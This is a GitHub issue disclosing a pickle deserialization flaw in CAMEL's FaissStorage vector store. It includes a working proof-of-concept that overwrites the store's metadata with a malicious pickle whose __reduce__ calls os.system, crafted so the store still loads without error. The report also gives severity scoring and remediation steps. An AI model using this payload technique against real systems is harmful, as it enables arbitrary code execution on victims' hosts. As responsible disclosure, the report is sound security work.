Skip to content

[BUG] CAMEL FaissStorage unrestricted pickle deserialization of vector-store metadata allows arbitrary code execution (CWE-502, CVSS 9.3) #4353

Description

@ybyu-ieu

Required prerequisites

What version of camel are you using?

0.2.91a5

System information

  • Installation: pip (pip install "camel-ai==0.2.91a5" faiss-cpu)
  • OS / Python: OS-independent, pure-library PoC (paths via tempfile.gettempdir()); Python version not separately recorded for this verification
  • Relevant library versions: camel-ai 0.2.91a5 (PyPI); faiss-cpu (not a base dependency of camel-ai -- the storage backends are optional extras; FaissStorage requires it at runtime, @dependencies_required('faiss'), faiss.py:73)

Problem description

This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.

FaissStorage (camel/storages/vectordb_storages/faiss.py) is the framework's FAISS-backed vector store and a documented backend of the framework's own RAG cookbook. It persists the FAISS index and a metadata dictionary (ID mappings, payloads, vectors) into <collection>.index and <collection>.metadata, and instantiating the storage with a storage_path automatically loads and deserializes whatever is on disk: _load_from_disk() calls the module-level pickle.load directly on the metadata file (faiss.py:243-244) -- there is no Unpickler subclass limiting find_class to safe types and no HMAC or signature verifying the file was not altered (it is persisted with plain pickle.dump, :222-223) -- and the auto-load sits inside __init__ (:124-126), so the payload executes inside the constructor, before any application code can inspect or validate the files. A pickle stream can reference arbitrary callables (such as os.system), and the unpickler invokes them during loading; a payload can return a metadata dict carrying exactly the five keys the method validates afterwards (:247-259), so the store finishes loading with no error and no traceback.

  • Expected: loading a persisted vector store never executes attacker-chosen code.
  • Actual: an attacker who can place or overwrite a file in the storage directory of a FaissStorage instance executes arbitrary code on the host with the privileges of the process that loads the vector store -- read arbitrary files and secrets (API keys, environment variables), modify or destroy files, and install persistence, since the payload re-executes on every subsequent load of the store. The store loads without any error and without any warning or error in the logs.

Dynamically verified against camel-ai 0.2.91a5 in August 2026 (the full validation chain -- legitimate store creation, pre-attack baseline, metadata overwrite, reload-triggered execution, marker assertion, cleanup -- passes 11/11 automated assertions; the script below is the same trigger chain in condensed form). No LLM, no server, and no network are involved at any point: this is a pure library-level trigger.

Reproducible example code

The Python snippets:

# poc.py -- library-level trigger; no LLM, no server, no network at any point
import os, pickle, shutil, tempfile

from camel.storages.vectordb_storages import FaissStorage, VectorRecord

tmp = tempfile.gettempdir()
storage = os.path.join(tmp, "camel_faiss_poc")
marker = os.path.join(tmp, "camel_faiss_poc_marker.txt")
shutil.rmtree(storage, ignore_errors=True)
if os.path.exists(marker):
    os.remove(marker)

# 1) legitimate usage: create a store and add one record; FaissStorage
#    persists <collection>.index and <collection>.metadata into storage/
store = FaissStorage(vector_dim=2, storage_path=storage,
                     collection_name="vector_store")
store.add([VectorRecord(id="doc1", vector=[0.1, 0.2],
                        payload={"text": "hello"})])
metadata_path = os.path.join(storage, "vector_store.metadata")
print("marker exists before attack:", os.path.exists(marker))  # -> False

# 2) attacker overwrites the metadata file with a malicious pickle
#    (__reduce__ -> os.system); the returned dict carries the five keys
#    _load_from_disk() validates afterwards, so loading stays error-free
def run_cmd(cmd, result):
    os.system(cmd)
    return result

class MaliciousMetadata:
    def __reduce__(self):
        write = "echo POC_EXECUTED > " + marker.replace("\\", "/")
        return (run_cmd, (write, {"id_to_index": {}, "index_to_id": {},
                                  "payloads": {}, "vectors": {},
                                  "vector_dim": 2}))

with open(metadata_path, "wb") as f:
    f.write(pickle.dumps(MaliciousMetadata()))

# 3) victim reloads the store: __init__ -> _load_from_disk() -> pickle.load
#    executes the embedded os.system call during deserialization
FaissStorage(vector_dim=2, storage_path=storage,
             collection_name="vector_store")

print("marker content:", open(marker).read().strip())          # -> POC_EXECUTED
shutil.rmtree(storage, ignore_errors=True)
os.remove(marker)

Command lines:

# Not used - the trigger is a single Python script; no shell command is part of the attack (the script is run with "python poc.py").

Extra dependencies:

pip install "camel-ai==0.2.91a5" faiss-cpu

# faiss-cpu is not a base dependency of camel-ai (the storage backends are
# optional extras); FaissStorage requires it at runtime
# (@dependencies_required('faiss'), faiss.py:73).

Steps to reproduce:

  1. Install camel-ai 0.2.91a5 plus faiss-cpu (see Extra dependencies); save the script as poc.py.
  2. Run the script: it first performs legitimate usage -- creates a store and adds one record (FaissStorage persists vector_store.index and vector_store.metadata into the temp storage directory) -- and asserts the marker does not exist yet (marker exists before attack: False).
  3. The script then plays the attacker: it overwrites vector_store.metadata with a malicious pickle (__reduce__ -> os.system) whose returned dict carries the five keys _load_from_disk() validates afterwards, so loading stays error-free.
  4. The script re-instantiates FaissStorage on the same storage_path: __init__ -> _load_from_disk() -> pickle.load executes the embedded os.system call during deserialization.
  5. Observe the output: marker content: POC_EXECUTED -- the echo command executed inside os.system while pickle.load was deserializing the attacker-supplied file, with no LLM, no server, and no interaction of any kind. (If the OS temp path contains spaces -- e.g. a Windows user name with a space -- cmd.exe truncates an unquoted redirect target at the first space; point TMP/TEMP at a space-free directory first.)

Traceback

No traceback - the store loads without any error; the payload returns well-formed metadata, so loading completes without errors and without any warning or error in the logs.

Expected behavior

Loading a persisted vector store never executes attacker-chosen code.

Additional context

Severity: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.3 (Critical) -- os.system executes in the host OS context, outside the camel-ai package (alternate scoring: the same vector with S:U scores 8.4; if the delivery route is argued to make the attack vector Network, AV:N with S:C scores 10.0; all values computed with the official FIRST CVSS v3.1 formula). CWEs: CWE-502 (Deserialization of Untrusted Data), CWE-347 (Improper Verification of Cryptographic Signature).

Affected: PyPI camel-ai >= 0.2.61, <= 0.2.91a5; patched versions: none yet.

Suggested remediation:

  1. Persist metadata in a non-executable format: JSON for the mappings and payloads, numpy .npy for the vectors; drop pickle entirely.
  2. If binary compatibility must be kept, subclass pickle.Unpickler with a find_class allowlist (built-in containers plus numpy's array-reconstruction globals -- numpy._core.multiarray._reconstruct / numpy.core.multiarray._reconstruct, numpy.ndarray, numpy.dtype -- and camel.types.enums.VectorDistance; refuse os, posix, subprocess, and all other globals) and verify an HMAC of the file before loading.
  3. Load lazily via an explicit method instead of inside __init__, so applications can validate or migrate a store before deserialization runs.

Full advisory: https://github.com/ybyu-ieu/agent-security-advisories/blob/main/camel/camel-faissstorage-pickle-deserialization-code-execution.md

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions